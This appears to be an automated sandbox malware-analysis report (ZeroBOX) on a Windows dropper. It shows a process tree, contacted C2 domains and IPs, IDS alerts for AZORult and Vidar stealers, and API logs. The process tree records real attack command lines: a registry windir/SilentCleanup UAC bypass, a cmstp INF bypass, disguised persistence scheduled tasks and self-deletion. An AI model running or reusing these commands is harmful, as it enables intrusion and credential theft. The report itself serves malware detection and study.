Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	July 19, 2021, 10:31 a.m.	July 19, 2021, 10:55 a.m.

Size	1.2MB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`e0ee46172e94ab9aaed4f27dc2aab72a`
SHA256	`37ab9185008d63309815a1bc846dcc7067374a8833b49f2bfa6f96fd784f35e9`
CRC32	`55E422F2`
ssdeep	`24576:RZJWUupjq4JmaRO+I/2v+nQ1npPBmksd0e486EyO:RkpjfgChI/pahBoeeP`
Yara	PE_Header_Zero - PE File Signature IsPE32 - (no description)

zxcv.EXE "C:\Users\test22\AppData\Local\Temp\zxcv.EXE"
2424
- GDSFbnvfghsrf.exe "C:\Users\test22\AppData\Roaming\GDSFbnvfghsrf.exe"
  2520
  - GDSFbnvfghsrf.exe "C:\Users\test22\AppData\Roaming\GDSFbnvfghsrf.exe"
    2708
    - ac.exe "C:\Users\test22\AppData\Local\Temp\ac.exe"
      2568
      - schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ddoAzF" /XML "C:\Users\test22\AppData\Local\Temp\tmpA553.tmp"
        3768
    - rc.exe "C:\Users\test22\AppData\Local\Temp\rc.exe"
      2780
      - rc.exe "C:\Users\test22\AppData\Local\Temp\rc.exe"
        2532
      - cmd.exe cmd /c ""C:\Users\Public\Trast.bat" "
        2928
        
        cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
        556
        
        reg.exe reg delete hkcu\Environment /v windir /f
        2680
        
        reg.exe reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "
        2996
        
        schtasks.exe schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
        2420
      - cmd.exe cmd /c ""C:\Users\Public\nest.bat" "
        3136
        
        reg.exe reg delete hkcu\Environment /v windir /f
        3196
    - ds1.exe "C:\Users\test22\AppData\Local\Temp\ds1.exe"
      2852
      - ds1.exe "{path}"
        4008
        
        cmstp.exe "c:\windows\system32\cmstp.exe" /au C:\Windows\temp\j0fojguc.inf
        180
    - ds2.exe "C:\Users\test22\AppData\Local\Temp\ds2.exe"
      2856
      - ds2.exe "{path}"
        3184
        
        powershell.exe "powershell" Get-MpPreference -verbose
        3488
    - cc.exe "C:\Users\test22\AppData\Local\Temp\cc.exe"
      200
      - cc.exe "C:\Users\test22\AppData\Local\Temp\cc.exe"
        2464
        
        schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\test22\AppData\Roaming\Microsoft\Network\sqlcmd.exe"
        1828
    - cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "GDSFbnvfghsrf.exe"
      2400
      - timeout.exe C:\Windows\system32\timeout.exe 3
        2136
- Fdfgrytbvdfsd.exe "C:\Users\test22\AppData\Roaming\Fdfgrytbvdfsd.exe"
  2556
  - Fdfgrytbvdfsd.exe "C:\Users\test22\AppData\Roaming\Fdfgrytbvdfsd.exe"
    2760
    - cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /pid 2760 & erase C:\Users\test22\AppData\Roaming\Fdfgrytbvdfsd.exe & RD /S /Q C:\\ProgramData\\562700353122373\\* & exit
      1096
      - taskkill.exe taskkill /pid 2760
        2376
- zxcv.EXE "C:\Users\test22\AppData\Local\Temp\zxcv.EXE"
  2604
  - NKHh91jIt3.exe "C:\Users\test22\AppData\Local\Temp\NKHh91jIt3.exe"
    3284
    - schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ddoAzF" /XML "C:\Users\test22\AppData\Local\Temp\tmp824.tmp"
      4024
    - NKHh91jIt3.exe "{path}"
      3156
  - Qv4SXRxX8p.exe "C:\Users\test22\AppData\Local\Temp\Qv4SXRxX8p.exe"
    3356
    - Qv4SXRxX8p.exe "C:\Users\test22\AppData\Local\Temp\Qv4SXRxX8p.exe"
      3248
  - 4a3K8bEiw2.exe "C:\Users\test22\AppData\Local\Temp\4a3K8bEiw2.exe"
    3404
    - 4a3K8bEiw2.exe "{path}"
      4076
      - cmstp.exe "c:\windows\system32\cmstp.exe" /au C:\Windows\temp\kyr1rxzc.inf
        3384
  - KllTrtJVOr.exe "C:\Users\test22\AppData\Local\Temp\KllTrtJVOr.exe"
    3476
  - Qs4zrKsMII.exe "C:\Users\test22\AppData\Local\Temp\Qs4zrKsMII.exe"
    3548
    - Qs4zrKsMII.exe "C:\Users\test22\AppData\Local\Temp\Qs4zrKsMII.exe"
      3316
      - schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\test22\AppData\Roaming\Microsoft\Network\sqlcmd.exe"
        2092
  - cmd.exe cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\test22\AppData\Local\Temp\zxcv.EXE"
    3584
    - timeout.exe timeout /T 10 /NOBREAK
      3656
explorer.exe C:\Windows\Explorer.EXE
1532

Name	Response	Post-Analysis Lookup
icacxndo.ac.ug
icando.ug
erolasa.ac.ug	A 185.215.113.77	185.215.113.77
telete.in	A 195.201.225.248	195.201.225.248
erolbasa.ac.ug	A 185.215.113.77	185.215.113.77
cdn.discordapp.com	A 162.159.135.233 A 162.159.134.233 A 162.159.129.233 A 162.159.130.233 A 162.159.133.233	162.159.130.233
arsaxa.ac.ug	A 79.134.225.25	79.134.225.25

IP Address	Status	Action
162.159.130.233	Active	Moloch
164.124.101.2	Active	Moloch
185.215.113.77	Active	Moloch
195.201.225.248	Active	Moloch
34.89.184.90	Active	Moloch
79.134.225.25	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.102:49170 -> 195.201.225.248:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 185.215.113.77:80 -> 192.168.56.102:49174	2400024	ET DROP Spamhaus DROP Listed Traffic Inbound group 25	Misc Attack
TCP 185.215.113.77:80 -> 192.168.56.102:49174	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 34.89.184.90:80 -> 192.168.56.102:49172	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 34.89.184.90:80 -> 192.168.56.102:49172	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 34.89.184.90:80 -> 192.168.56.102:49172	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 185.215.113.77:80 -> 192.168.56.102:49176	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 185.215.113.77:80 -> 192.168.56.102:49173	2029137	ET MALWARE AZORult v3.3 Server Response M2	Malware Command and Control Activity Detected
TCP 192.168.56.102:49189 -> 185.215.113.77:80	2016858	ET MALWARE Generic - POST To .php w/Extended ASCII Characters (Likely Zeus Derivative)	A Network Trojan was detected
TCP 192.168.56.102:49189 -> 185.215.113.77:80	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	Potentially Bad Traffic
TCP 185.215.113.77:80 -> 192.168.56.102:49189	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 192.168.56.102:49246 -> 162.159.130.233:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49189 -> 185.215.113.77:80	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	Potentially Bad Traffic
TCP 185.215.113.77:80 -> 192.168.56.102:49188	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 192.168.56.102:49189 -> 185.215.113.77:80	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	Potentially Bad Traffic
TCP 192.168.56.102:49189 -> 185.215.113.77:80	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	Potentially Bad Traffic
TCP 192.168.56.102:49189 -> 185.215.113.77:80	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	Potentially Bad Traffic
TCP 192.168.56.102:49247 -> 162.159.130.233:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49248 -> 162.159.130.233:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49249 -> 162.159.130.233:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49286 -> 185.215.113.77:80	2016141	ET INFO Executable Download from dotted-quad Host	A Network Trojan was detected
TCP 192.168.56.102:49286 -> 185.215.113.77:80	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	Potentially Bad Traffic
TCP 192.168.56.102:49308 -> 162.159.130.233:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 185.215.113.77:80 -> 192.168.56.102:49286	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 185.215.113.77:80 -> 192.168.56.102:49286	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 185.215.113.77:80 -> 192.168.56.102:49286	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 192.168.56.102:49286 -> 185.215.113.77:80	2016141	ET INFO Executable Download from dotted-quad Host	A Network Trojan was detected
TCP 192.168.56.102:49286 -> 185.215.113.77:80	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	Potentially Bad Traffic
TCP 185.215.113.77:80 -> 192.168.56.102:49286	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 185.215.113.77:80 -> 192.168.56.102:49286	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 192.168.56.102:49309 -> 162.159.130.233:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49286 -> 185.215.113.77:80	2016141	ET INFO Executable Download from dotted-quad Host	A Network Trojan was detected
TCP 192.168.56.102:49286 -> 185.215.113.77:80	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	Potentially Bad Traffic
TCP 192.168.56.102:49286 -> 185.215.113.77:80	2016141	ET INFO Executable Download from dotted-quad Host	A Network Trojan was detected
TCP 192.168.56.102:49286 -> 185.215.113.77:80	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	Potentially Bad Traffic
TCP 192.168.56.102:49286 -> 185.215.113.77:80	2016141	ET INFO Executable Download from dotted-quad Host	A Network Trojan was detected
TCP 192.168.56.102:49286 -> 185.215.113.77:80	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	Potentially Bad Traffic
TCP 185.215.113.77:80 -> 192.168.56.102:49331	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 192.168.56.102:49331 -> 185.215.113.77:80	2029236	ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil	Malware Command and Control Activity Detected
TCP 192.168.56.102:49331 -> 185.215.113.77:80	2029846	ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)	A Network Trojan was detected

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.102:49170 195.201.225.248:443	C=US, O=Let's Encrypt, CN=R3	CN=telecut.in	1d:7b:94:0d:d6:f9:85:f3:66:74:d5:1d:98:0c:7a:28:5b:c0:62:44
TLSv1 192.168.56.102:49246 162.159.130.233:443	C=US, O=Cloudflare, Inc., CN=Cloudflare Inc RSA CA-2	C=US, ST=CA, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com	a6:26:df:21:b9:4f:a7:fb:ae:8d:87:ce:fb:7d:2b:c6:50:8b:ff:da
TLSv1 192.168.56.102:49247 162.159.130.233:443	None	None	None
TLSv1 192.168.56.102:49248 162.159.130.233:443	C=US, O=Cloudflare, Inc., CN=Cloudflare Inc RSA CA-2	C=US, ST=CA, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com	a6:26:df:21:b9:4f:a7:fb:ae:8d:87:ce:fb:7d:2b:c6:50:8b:ff:da
TLSv1 192.168.56.102:49249 162.159.130.233:443	None	None	None
TLSv1 192.168.56.102:49308 162.159.130.233:443	C=US, O=Cloudflare, Inc., CN=Cloudflare Inc RSA CA-2	C=US, ST=CA, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com	a6:26:df:21:b9:4f:a7:fb:ae:8d:87:ce:fb:7d:2b:c6:50:8b:ff:da
TLSv1 192.168.56.102:49309 162.159.130.233:443	C=US, O=Cloudflare, Inc., CN=Cloudflare Inc RSA CA-2	C=US, ST=CA, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com	a6:26:df:21:b9:4f:a7:fb:ae:8d:87:ce:fb:7d:2b:c6:50:8b:ff:da

Queries for the computername (49 events)

Time & API	Arguments	Status	Return
GetComputerNameW July 19, 2021, 10:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA July 19, 2021, 10:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA July 19, 2021, 10:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA July 19, 2021, 10:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:32 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:32 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:32 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:32 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:32 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:32 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:32 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:32 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:32 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:32 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:32 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA July 19, 2021, 10:32 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:31 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA July 19, 2021, 10:33 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:32 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:32 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:32 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:32 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:32 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:32 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:32 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA July 19, 2021, 10:32 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:32 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:32 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:32 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 19, 2021, 10:33 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (21 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent July 19, 2021, 10:31 a.m.			0	0
IsDebuggerPresent July 19, 2021, 10:31 a.m.			0	0
IsDebuggerPresent July 19, 2021, 10:31 a.m.			0	0
IsDebuggerPresent July 19, 2021, 10:31 a.m.			0	0
IsDebuggerPresent July 19, 2021, 10:31 a.m.			0	0
IsDebuggerPresent July 19, 2021, 10:31 a.m.			0	0
IsDebuggerPresent July 19, 2021, 10:32 a.m.			0	0
IsDebuggerPresent July 19, 2021, 10:32 a.m.			0	0
IsDebuggerPresent July 19, 2021, 10:32 a.m.			0	0
IsDebuggerPresent July 19, 2021, 10:32 a.m.			0	0
IsDebuggerPresent July 19, 2021, 10:32 a.m.			0	0
IsDebuggerPresent July 19, 2021, 10:32 a.m.			0	0
IsDebuggerPresent July 19, 2021, 10:32 a.m.			0	0
IsDebuggerPresent July 19, 2021, 10:32 a.m.			0	0
IsDebuggerPresent July 19, 2021, 10:32 a.m.			0	0
IsDebuggerPresent July 19, 2021, 10:32 a.m.			0	0
IsDebuggerPresent July 19, 2021, 10:32 a.m.			0	0
IsDebuggerPresent July 19, 2021, 10:32 a.m.			0	0
IsDebuggerPresent July 19, 2021, 10:32 a.m.			0	0
IsDebuggerPresent July 19, 2021, 10:33 a.m.			0	0
IsDebuggerPresent July 19, 2021, 10:33 a.m.			0	0

Command line console output was observed (37 events)

Time & API	Arguments	Status	Return
WriteConsoleW July 19, 2021, 10:32 a.m.	buffer: C:\Users\test22\AppData\Roaming\GDSFbnvfghsrf.exe console_handle: 0x00000007	1	1
WriteConsoleW July 19, 2021, 10:32 a.m.	buffer: Access is denied. console_handle: 0x0000000b	1	1
WriteConsoleW July 19, 2021, 10:31 a.m.	buffer: Waiting for 3 console_handle: 0x00000007	1	1
WriteConsoleW July 19, 2021, 10:31 a.m.	buffer: seconds, press a key to continue ... console_handle: 0x00000007	1	1
WriteConsoleW July 19, 2021, 10:32 a.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW July 19, 2021, 10:32 a.m.	buffer: start console_handle: 0x00000007	1	1
WriteConsoleW July 19, 2021, 10:32 a.m.	buffer: /min C:\Users\Public\UKO.bat console_handle: 0x00000007	1	1
WriteConsoleW July 19, 2021, 10:32 a.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW July 19, 2021, 10:32 a.m.	buffer: reg console_handle: 0x00000007	1	1
WriteConsoleW July 19, 2021, 10:32 a.m.	buffer: delete hkcu\Environment /v windir /f console_handle: 0x00000007	1	1
WriteConsoleW July 19, 2021, 10:32 a.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW July 19, 2021, 10:32 a.m.	buffer: reg console_handle: 0x00000007	1	1
WriteConsoleW July 19, 2021, 10:32 a.m.	buffer: add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM " console_handle: 0x00000007	1	1
WriteConsoleW July 19, 2021, 10:32 a.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW July 19, 2021, 10:32 a.m.	buffer: schtasks console_handle: 0x00000007	1	1
WriteConsoleW July 19, 2021, 10:32 a.m.	buffer: /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I console_handle: 0x00000007	1	1
WriteConsoleW July 19, 2021, 10:32 a.m.	buffer: exit console_handle: 0x00000007	1	1
WriteConsoleW July 19, 2021, 10:32 a.m.	buffer: SUCCESS: The scheduled task "Azure-Update-Task" has successfully been created. console_handle: 0x00000007	1	1
WriteConsoleW July 19, 2021, 10:32 a.m.	buffer: ERROR: console_handle: 0x0000000b	1	1
WriteConsoleW July 19, 2021, 10:32 a.m.	buffer: The system was unable to find the specified registry key or value. console_handle: 0x0000000b	1	1
WriteConsoleW July 19, 2021, 10:32 a.m.	buffer: The operation completed successfully. console_handle: 0x00000007	1	1
WriteConsoleW July 19, 2021, 10:32 a.m.	buffer: ERROR: console_handle: 0x0000000b	1	1
WriteConsoleW July 19, 2021, 10:32 a.m.	buffer: The system cannot find the path specified. console_handle: 0x0000000b	1	1
WriteConsoleW July 19, 2021, 10:32 a.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW July 19, 2021, 10:32 a.m.	buffer: start console_handle: 0x00000007	1	1
WriteConsoleW July 19, 2021, 10:32 a.m.	buffer: /min reg delete hkcu\Environment /v windir /f console_handle: 0x00000007	1	1
WriteConsoleW July 19, 2021, 10:32 a.m.	buffer: The operation completed successfully. console_handle: 0x00000007	1	1
WriteConsoleW July 19, 2021, 10:32 a.m.	buffer: C:\Users\test22\AppData\Local\Temp\zxcv.EXE console_handle: 0x00000007	1	1
WriteConsoleW July 19, 2021, 10:32 a.m.	buffer: Access is denied. console_handle: 0x0000000b	1	1
WriteConsoleW July 19, 2021, 10:32 a.m.	buffer: SUCCESS: The scheduled task "Updates\ddoAzF" has successfully been created. console_handle: 0x00000007	1	1
WriteConsoleW July 19, 2021, 10:32 a.m.	buffer: SUCCESS: The scheduled task "Azure-Update-Task" has successfully been created. console_handle: 0x00000007	1	1
WriteConsoleW July 19, 2021, 10:32 a.m.	buffer: ERROR: console_handle: 0x0000000b	1	1
WriteConsoleW July 19, 2021, 10:32 a.m.	buffer: Cannot create a file when that file already exists. console_handle: 0x0000000b	1	1
WriteConsoleW July 19, 2021, 10:33 a.m.	buffer: C:\Users\test22\AppData\Roaming\Fdfgrytbvdfsd.exe console_handle: 0x00000007	1	1
WriteConsoleW July 19, 2021, 10:33 a.m.	buffer: Access is denied. console_handle: 0x0000000b	1	1
WriteConsoleW July 19, 2021, 10:33 a.m.	buffer: The system cannot find the path specified. console_handle: 0x0000000b	1	1
WriteConsoleW July 19, 2021, 10:33 a.m.	buffer: ERROR: The process "2760" not found. console_handle: 0x0000000b	1	1

Uses Windows APIs to generate a cryptographic key (46 events)

Time & API	Arguments	Status	Return
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00589be8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058a4a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058a4a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058a4a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00589f68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00589f68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00589f68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00589f68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00589f68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00589f68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058a5e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058a5e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058a5e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058a768 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058a768 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058a768 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00589b68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058a768 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058a768 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058a768 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058a768 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058a768 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058a768 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058a768 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058a6a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058a6a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058a6a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058a6a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058a6a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058a6a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058a6a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058a6a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058a6a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058a6a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058a6a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
